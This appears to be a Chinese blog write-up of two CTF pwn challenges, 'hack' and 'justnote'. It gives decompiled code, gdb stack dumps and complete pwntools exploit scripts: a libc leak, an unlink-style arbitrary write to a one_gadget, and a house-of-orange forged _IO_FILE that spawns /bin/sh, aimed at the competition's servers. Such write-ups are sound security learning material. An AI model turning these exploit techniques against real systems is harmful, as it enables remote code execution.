本文最后更新于:星期三, 一月 2日 2019, 4:08 下午
挂机pwn手,赛后复现…….各位大佬是真的强
hack
防护机制:
☁ HACK checksec hack
[*] '/home/zs0zrc/game/gaoxiaoyunwei/HACK/hack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
程序逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // eax
char *buf; // ST18_4
_DWORD *v5; // eax
_DWORD *v6; // eax
_DWORD *v7; // ST24_4
int v8; // ST28_4
int v9; // ST2C_4
prepare();
printf("The address of printf is: %p\n", puts);
puts("Suppose there is a struct like: ");
puts("struct node {\n\tchar *name;\n\tchar *description;\n\tstruct node *next;\n\tstruct node *prev;\n};");
puts("And you have a chance to fabricate a fake node struct;\nWhat can you do?");
puts("Besides you can have two chances to leak, input address: ");
v3 = malloc(0x14u);
buf = v3;
v3[read(0, v3, 0xFu) - 1] = 0;
v5 = atoll(buf);
printf("%d, %p\n", v5, *v5);
puts("Second chance: ");
buf[read(0, buf, 0xFu) - 1] = 0;
v6 = atoll(buf);
printf("%d, %p\n", v6, *v6);
v7 = malloc(0x14u);
printf("The address of the node is %p, and you can input the fake node now: ", v7);
read(0, v7, 0x10u);
v8 = v7[3];
v9 = v7[2];
*(v8 + 8) = v9;
*(v9 + 0xC) = v8;
return 0;
}
程序先给了两次任意地址泄露的机会,然后再最后实现了一个类似于unlink的操作,导致可以任意地址写。
利用思路:
main函数返回时 ,返回地址存放在栈上,通过任意地址写将 main函数的返回地址改写成one_gadget
main函数返回时进行的操作以及栈的情况
main函数返回时的stack
pwndbg> stack 20
00:0000│ esp 0xffb4aed0 ◂— 0x1
01:0004│ 0xffb4aed4 ◂— 0x0
02:0008│ 0xffb4aed8 —▸ 0x9de7008 ◂— '4151692732'
03:000c│ 0xffb4aedc ◂— 0xb /* '\x0b' */
04:0010│ 0xffb4aee0 —▸ 0xf775cdbc (environ) —▸ 0xffb4afac —▸ 0xffb4c2b5 ◂— 0x515f5451 ('QT_Q')
05:0014│ 0xffb4aee4 —▸ 0x9de7020 —▸ 0xf75e3819 (__strtold_nan+137) ◂— jl 0xf75e383f
06:0018│ 0xffb4aee8 —▸ 0xffb4aeec —▸ 0x9de7024 —▸ 0xf75e3819 (__strtold_nan+137) ◂— jl 0xf75e383f
07:001c│ edx 0xffb4aeec —▸ 0x9de7024 —▸ 0xf75e3819 (__strtold_nan+137) ◂— jl 0xf75e383f
08:0020│ 0xffb4aef0 —▸ 0xf775b3dc (__exit_funcs) —▸ 0xf775c1e0 (initial) ◂— 0x0
09:0024│ 0xffb4aef4 —▸ 0x9de7024 —▸ 0xf75e3819 (__strtold_nan+137) ◂— jl 0xf75e383f
0a:0028│ ebp 0xffb4aef8 ◂— 0x0
0b:002c│ 0xffb4aefc —▸ 0xf75c1637 (__libc_start_main+247) ◂— add esp, 0x10
0c:0030│ 0xffb4af00 —▸ 0xf775b000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
0e:0038│ 0xffb4af08 ◂— 0x0
0f:003c│ 0xffb4af0c —▸ 0xf75c1637 (__libc_start_main+247) ◂— add esp, 0x10
10:0040│ 0xffb4af10 ◂— 0x1
11:0044│ 0xffb4af14 —▸ 0xffb4afa4 —▸ 0xffb4c2ae ◂— './hack'
12:0048│ 0xffb4af18 —▸ 0xffb4afac —▸ 0xffb4c2b5 ◂— 0x515f5451 ('QT_Q')
13:004c│ 0xffb4af1c ◂— 0x0
泄露出来的stack的地址和ebp的偏移
pwndbg> p 0xffb4afac - 0xffb4aef4
$1 = 0xb8
只要将ebp-4出修改为one_gadget,那么就可以控制程序执行流
exp:
from pwn import*
context.log_level = "debug"
p = remote('210.32.4.16','13375')
elf = ELF('./hack')
libc = ELF('./libc.so')
log.info("leak libc address ")
puts_got = elf.got["puts"]
p.recvuntil("input address: \n")
p.sendline(str(puts_got))
p.recvuntil(", ")
puts = int(p.recv(10),16)
libc_base = puts - libc.symbols["puts"]
env = libc_base + libc.sym["_environ"]
one = libc_base + 0x3a819
libc.address = libc_base
log.info("libc_base --> {}".format(hex(libc_base)))
p.sendline(str(env))
p.recvuntil(", ")
stack_addr = int(p.recv(10),16)
target = stack_addr - 0xb8
log.info(" stack address is {}".format(hex(stack_addr)))
p.recvuntil(" is ")
node_add = int(p.recvuntil(",").strip(","),16)
log.info("node address is {}".format(hex(node_add)))
p.recv()
payload = p32(one)*2 + p32(node_add + 4)+p32(target-8)
p.send(payload)
p.interactive()
justnote
防护机制:
☁ just_note checksec justnote
[*] '/home/zs0zrc/game/gaoxiaoyunwei/just_note/justnote'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
程序逻辑:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+18h] [rbp-8h]
prepare();
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v4 = menu();
if ( v4 > 0 && v4 <= 4 )
break;
puts("invalid choice!");
}
if ( v4 != 2 )
break;
remove_note();
}
if ( v4 > 2 )
break;
if ( v4 == 1 )
insert_note();
}
if ( v4 != 3 )
break;
edit_note();
}
}
while ( v4 != 4 );
return 0;
}
一共有三个功能:
- insert_note 创建一个新的note
- edit_note 编辑note
- remove_note 删除一个note
insert_note:
int insert_note()
{
__int64 chunk; // [rsp+8h] [rbp-18h]
__int64 size; // [rsp+10h] [rbp-10h]
signed int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 31 && *(16LL * i + table); ++i )
;
if ( i == 32 )
return puts("no more, no more");
chunk = calloc(0x100uLL, 1uLL);
if ( !chunk )
{
puts("memory error, contact admin");
exit(1);
}
printf("length of note: ", 1LL);
size = read_long_long();
if ( size < 0 ) //漏洞点: 最小的负数取反还是负数,可以造成堆溢出,无限写入
size = -size;
if ( size > 0xFF )
size = 255LL;
printf("note: ");
recvn(chunk, size);
*(16LL * i + table) = chunk ^ 0xDEADBEEFCAFEBABELL;
*(table + 16LL * i + 8) = size;
return printf("check it out: %s\n", chunk);
}
edit_note:
int edit_note()
{
__int64 v1; // [rsp+8h] [rbp-8h]
printf("index of note: ");
v1 = read_long_long();
if ( v1 < 0 || v1 > 31 )
return puts("out of range");
if ( !*(16 * v1 + table) )
return puts("no note here");
printf("note: ");
return recvn(*(16 * v1 + table) ^ 0xDEADBEEFCAFEBABELL, *(16 * v1 + table + 8));
}
delete_note:
int remove_note()
{
signed __int64 v0; // rax
__int64 v2; // [rsp+8h] [rbp-8h]
printf("index of note: ");
v2 = read_long_long();
if ( v2 >= 0 && v2 <= 31 )
{
if ( *(16 * v2 + table) )
{
free((*(16 * v2 + table) ^ 0xDEADBEEFCAFEBABELL));
*(16 * v2 + table) = 0LL;
v0 = 16 * v2 + table;
*(v0 + 8) = 0LL;
}
else
{
LODWORD(v0) = puts("no note here");
}
}
else
{
LODWORD(v0) = puts("out of range");
}
return v0;
}
解题思路:
利用堆溢出,先泄露出堆地址,然后泄露libc地址
后面的做法就是house_of_orange了
伪造_IO_FILE结构体,利用unsorted bin attack,修改 _IO_list_all为 main_arena + 0x58
最后调用malloc函数,触发 _malloc_printerr ,最终getshell
要注意的是 ,因为它分配堆的空间用的函数是calloc函数,它默认是会初始化堆块,将空间内容清空,但是如果是mmap分配的chunk空间的话,就不会清空。所以想泄露信息的话就要将chunk的 IS_MMAPED标志位覆盖为1
伪造的fake_file
fake_file = '/bin/sh'.ljust(8, '\x00') + p64(0x61)
fake_file +=p64(0) + p64(io_list_all_addr - 0x10) #unsorted bin attack
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr bypass check fp->_IO_write_ptr > fp->_IO_write_base)
fake_file += p64(0) * 9
fake_file += p64(system_addr)
fake_file =fake_file.ljust(0xc0,'\x00')
fak_file += p64(0xffffffffffffffff) #bypass fp->_mode <= 0
fake_file += p64(0) * 2
fake_file += p64(fake_file_addr + 0x60) #vtable
伪造的vtable表
最终exp:
#!/usr/bin/env python
from pwn import *
local = 1
if local:
p = process('./justnote')
elf = ELF('./justnote')
libc = elf.libc
else:
p = remote("210.32.4.17","13376")
elf = ELF('./justnote')
libc = ELF('./libc.so')
context.arch = elf.arch
context.log_level='debug'
def add(lgth, note):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('note: ')
p.sendline(str(lgth))
p.recvuntil('note: ')
p.sendline(note)
def delete(idx):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('note: ')
p.sendline(str(idx))
def edit(idx, note):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('note: ')
p.sendline(str(idx))
p.recvuntil('note: ')
p.sendline(note)
def HouseOfOrange(fake_file_addr, system_addr, io_list_all_addr):
fake_file = '/bin/sh'.ljust(8, '\x00') + p64(0x61)
fake_file +=p64(0) + p64(io_list_all_addr - 0x10) #unsorted bin attack
fake_file += p64(0) #_IO_write_base
fake_file += p64(1) #_IO_write_ptr bypass check fp->_IO_write_ptr > fp->_IO_write_base)
fake_file += p64(0) * 9
fake_file += p64(system_addr)
fake_file =fake_file.ljust(0xc0,'\x00')
fake_file += p64(0xffffffffffffffff) #bypass fp->_mode <= 0
fake_file += p64(0) * 2
fake_file += p64(fake_file_addr + 0x60) #vtable
return fake_file
add(-9223372036854775808,'a'*8) #0
add(100,'b'*8) #1
add(-9223372036854775808,'c'*8) #2
add(100,'d'*8) #3
add(-9223372036854775808,'e'*8) #4
add(100,'d'*8) #5
add(100,'d'*8) #6
delete(1)
delete(3)
pause()
edit(0,'\x00'*0x108 + '\x13')
add(100,'a'*8)
p.recvuntil("a"*8)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
heap_base = heap_addr - 0x540
log.info("heap address is {}".format(hex(heap_addr)))
edit(2,'\x00'*0x108 + '\x13')
add(100,'a'*8)
p.recvuntil("a"*8)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['__malloc_hook'] - 0x10 - 0x58
log.info("libc address is {}".format(hex(libc_base)))
libc.address = libc_base
delete(5)
edit(4, '\x00' * 0x100 + HouseOfOrange(heap_addr + 0x110 * 2, libc.sym['system'], libc.sym['_IO_list_all']))
p.recvuntil('choice: ')
p.sendline('1')
p.interactive()
reference:
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!